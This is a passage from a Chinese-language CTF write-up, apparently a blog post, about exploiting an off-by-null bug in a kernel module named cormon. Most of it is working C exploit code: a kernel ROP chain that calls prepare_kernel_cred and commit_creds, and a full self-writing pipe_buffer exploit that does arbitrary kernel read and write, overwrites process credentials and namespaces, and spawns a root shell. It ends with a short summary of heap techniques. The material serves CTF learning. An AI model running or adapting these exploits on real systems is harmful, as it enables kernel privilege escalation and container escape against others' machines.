    puts("[*] Freeing corrupted key...");
    free_key(corrupted_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    *(uint64_t *)&data[0] = target_object - 0x18;

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < 72; i++)
        free_tty(i);

    sleep(1); // GC TTYs

    puts("[*] Spraying pipe_buffer structures...");
    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i);

    puts("[*] Triggering arbitrary free...");
    while (poll_threads != 0) { };

    buff = (char *)calloc(1, 1024);

    // Stack pivot
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;

    puts("[*] Freeing user keys...");
    free_all_keys(false);

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600);

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i);

    // --- 

    for (int i = 0; i < 256; i++)
        pthread_join(poll_tid[i], NULL);
}

第二种利用方式就是直接利用 pipe_buffer 去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;
    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}


struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100

int key_id[SPRAY_PIPE_NUMS];

int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;

int fd;
void off_by_null(){
        char buf[PAGE_SIZE] = { 0 };
        write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;

void construct_first_level_page_uaf() {
        info("Step I - construct first level page uaf");

        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");
                if (i > 4 && (i % 9) == 0 && flag) {
                        char des[16] = { 0 };
                        char val[4096] = { 0 };
                        sprintf(des, "%s%d", "pwn_", i);
                        if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)
                                printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;
                }
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }

/*
        puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                close(pipe_fd[i][0]);
                close(pipe_fd[i][1]);
        }
*/

        puts("[+] Trying to overwrite pipe_buffer.page");
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
        sleep(1);
        off_by_null();

/*
        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");

                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }
*/
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                int nr = -1;
                char tag[16] = { 0 };
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") && i != nr) {
                        orig_idx = nr;
                        victim_idx = i;
                        hexx("orig_idx", orig_idx);
                        hexx("victim_idx", victim_idx);
                }
        }

        if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");
        puts("");

}

void construct_second_level_page_uaf() {
        info("Step II - construct second level page uaf");

        size_t buf[PAGE_SIZE] = { 0 };
        size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);
        read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);

/*
        puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < 130 && flag; i++, k++) {
                char des[16] = { 0 };
                char val[96] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        sleep(1);

        puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }
/*
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
*/
        puts("[+] Checking...");
        read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));
        if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");

        binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));
        hexx("pipe_buffer.page   ", self_pipe_buf.page);
        hexx("pipe_buffer.offset ", self_pipe_buf.offset);
        hexx("pipe_buffer.len    ", self_pipe_buf.len);
        hexx("pipe_buffer.ops    ", self_pipe_buf.ops);
        hexx("pipe_buffer.flags  ", self_pipe_buf.flags);
        hexx("pipe_buffer.private", self_pipe_buf.private);

        write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                int nr = -1;
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (nr < SPRAY_PIPE_NUMS && i != nr) {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        hexx("snd_orig_idx", snd_orig_idx);
                        hexx("snd_victim_idx", snd_victim_idx);
                }
        }

        if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");
        puts("");
}

void construct_self_writing_pipe() {
        info("Step III - construct self writing pipe");
        size_t buf[0x1000] = { 0 };
        struct pipe_buffer evil_pipe_buf;
        struct page* page_ptr;
        int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*
        puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {
                char des[16] = { 0 };
                char val[192] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }

        puts("[+] Checking...");
        puts("[+] construct self writing pipe I");
        memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        evil_pipe_buf.offset = T_PIPE_BUF_SZ;
        evil_pipe_buf.len = T_PIPE_BUF_SZ;
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_1_pipe_idx = i;
                        hexx("self_1_pipe_idx", self_1_pipe_idx);
                        break;
                }
        }
        if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");

        puts("[+] construct self writing pipe II");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_2_pipe_idx = i;
                        hexx("self_2_pipe_idx", self_2_pipe_idx);
                        break;
                }
        }
        if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");

        puts("[+] construct self writing pipe III");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_3_pipe_idx = i;
                        hexx("self_3_pipe_idx", self_3_pipe_idx);
                        break;
                }
        }
        if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");

        puts("");
}


void setup_self_writing_pipe()
{
        info("Step IV - setup self writing pipe system");
        memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));

        self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;
        self_2_pipe_buf.len = 0;
        self_3_pipe_buf.offset = T_PIPE_BUF_SZ;
        self_3_pipe_buf.len = 0;

        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

}

void arb_read(struct page* page_ptr, void* dst, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0x1000;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        read(pipe_fd[self_1_pipe_idx][0], dst, len);
}

void arb_write(struct page* page_ptr, void* src, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        write(pipe_fd[self_1_pipe_idx][1], src, len);
}


void pwn()
{
        info("NO PWN NO FUN");
        size_t buf[0x1000];
        puts("[+] Leaking vmemmap base and kernel offset by arb_read");
        vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;
        int f = 10;
        for (;;)
        {
                arb_read(vmemmap_base+157*0x40, buf, 8);
                if (f)
                {
                        hexx("data", buf[0]);
                        f--;
                }
                if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040)
                {
                        kernel_base = buf[0] - 0x040;
                        kernel_offset = kernel_base - 0xffffffff81000000;
                        break;
                }
                vmemmap_base -= 0x10000000;
        }

        hexx("vmemmap_base", vmemmap_base);
        hexx("kernel_base", kernel_base);
        hexx("kernel_offset", kernel_offset);

        puts("[+] Searching for task_struct");
        uint64_t parent_task, current_task;
        uint64_t* comm_addr = NULL;
        size_t base = 0xffff000000000000;

        for (int i = 0; ; i++)
        {
                memset(buf, 0, sizeof(buf));
                arb_read(vmemmap_base+i*0x40, buf, 0xff0);
                comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);
                if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base)
                {
                //      parent_task = comm_addr[-56];
                        current_task = comm_addr[-49] - 0x528;
                        page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;
                        page_offset_base &= 0xfffffffff0000000;
                        break;
                }
        }

//      hexx("parent_task", parent_task);
        hexx("current_task", current_task);
        hexx("page_offset_base", page_offset_base);

/*
        size_t cinit_task = current_task;
        size_t pid_offset = 0x4e0 / 8;
        size_t real_parent_offset = 0x4f0 / 8;
        for (int i = 0; ; i++){
                memset(buf, 0, sizeof(buf));
                size_t look_page = direct_map_addr_to_page_addr(cinit_task);
                arb_read(look_page, buf, 0xff0);
                arb_read(look_page+0x40, &buf[512], 0xff0);
                size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
                if ((look_buf[pid_offset] & 0xffffffff) == 1) {
                        break;
                }

                cinit_task = look_buf[real_parent_offset];
        }

        hexx("cinit_task", cinit_task);
*/
        puts("[+] Elevating privileges and Escaping container");
        init_fs   = 0xffffffff82589740 + kernel_offset;
        init_task = 0xffffffff82415940 + kernel_offset;
        init_cred = 0xffffffff8245a960 + kernel_offset;
        init_nsproxy = 0xffffffff8245a720 + kernel_offset;
        hexx("init_fs", init_fs);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);
        hexx("init_nsproxy", init_nsproxy);

        memset(buf, 0, sizeof(buf));
        size_t current_task_page = direct_map_addr_to_page_addr(current_task);
        arb_read(current_task_page, buf, 0xff0);
        arb_read(current_task_page+0x40, &buf[512], 0xff0);

        size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(current_task_page, buf, 0xff0);
        arb_write(current_task_page+0x40, &buf[512], 0xff0);

/*      memset(buf, 0, sizeof(buf));
        size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);
        arb_read(cinit_task_page, buf, 0xff0);
        arb_read(cinit_task_page+0x40, &buf[512], 0xff0);

        tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(cinit_task_page, buf, 0xff0);
        arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/
        hexx("UID", getuid());
        system("/bin/sh");
        while(1) {}
}

int main(int argc, char** argv, char** envp) {

        bind_core(0);
        save_status();
        fd = open("/proc_rw/cormon", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");
        if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");

        construct_first_level_page_uaf();
        construct_second_level_page_uaf();
        construct_self_writing_pipe();
        setup_self_writing_pipe();
        pwn();
//      getchar();
        puts("[~] EXP NERVER END!");
        return 0;
}

效果如下:成功率也还行,最后可以成功提权逃逸
在这里插入图片描述

总结

总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑去构造 UAF 了。

比如在 poll_list 利用方式中:

  • 先堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

这里笔者存在一个问题,这种方式是不是只能针对 4096 大小的 off by null 呢?因为只有 poll_list 链的最后一个 poll_list 的大小才是可以控制的

  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

pipe_buffer 构造自写管道也是一样的,pipe_buffer.page 指向的是一个 struct page 结构体,而该结构体大小为 0x40,所以其低字节可能为 0x400x800xc00x00

总的来说感觉利用 pipe_buffer 构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer,并且 pipe_buffer 的大小是可以通过 fcntl 修改的,并且其只需要一次 off by null 即可(当然 poll_list 利用方式也是只需要一次),所以似乎其也更加通用。

当然这里还是得讨论下另一个女友 msg_msg 了。在 CVE-2021-22555 中,msg_msg + sk_buf + pipe_buffer 仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null 呢?在原 CVE 的利用中,从消息是堆喷的 1024 大小,其低字节恒为 \x00,所以此时 off by null 似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF,所以我们可以选择 kmalloc-8 ~ kmalloc-192 之间的 object 作为从消息去构造 kmalloc-8 ~ kmalloc-192UAF,比如这里就i可以选择 kmalloc-32 即利用 user_key_payload 去泄漏相关信息,并且观察 user_key_payloadmsg_msg 结构体你会发现,我们可以通过 setxattr 去控制 user_key_payload 的头 8 字节为 null也就是说可以控制 msg_msg 的头 8 字节,然后 msg_msg.nextuser_key_payloaddata 域,所以可以控制 msg_msg.next 从而可以构造任意释放原语。

  • 20
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值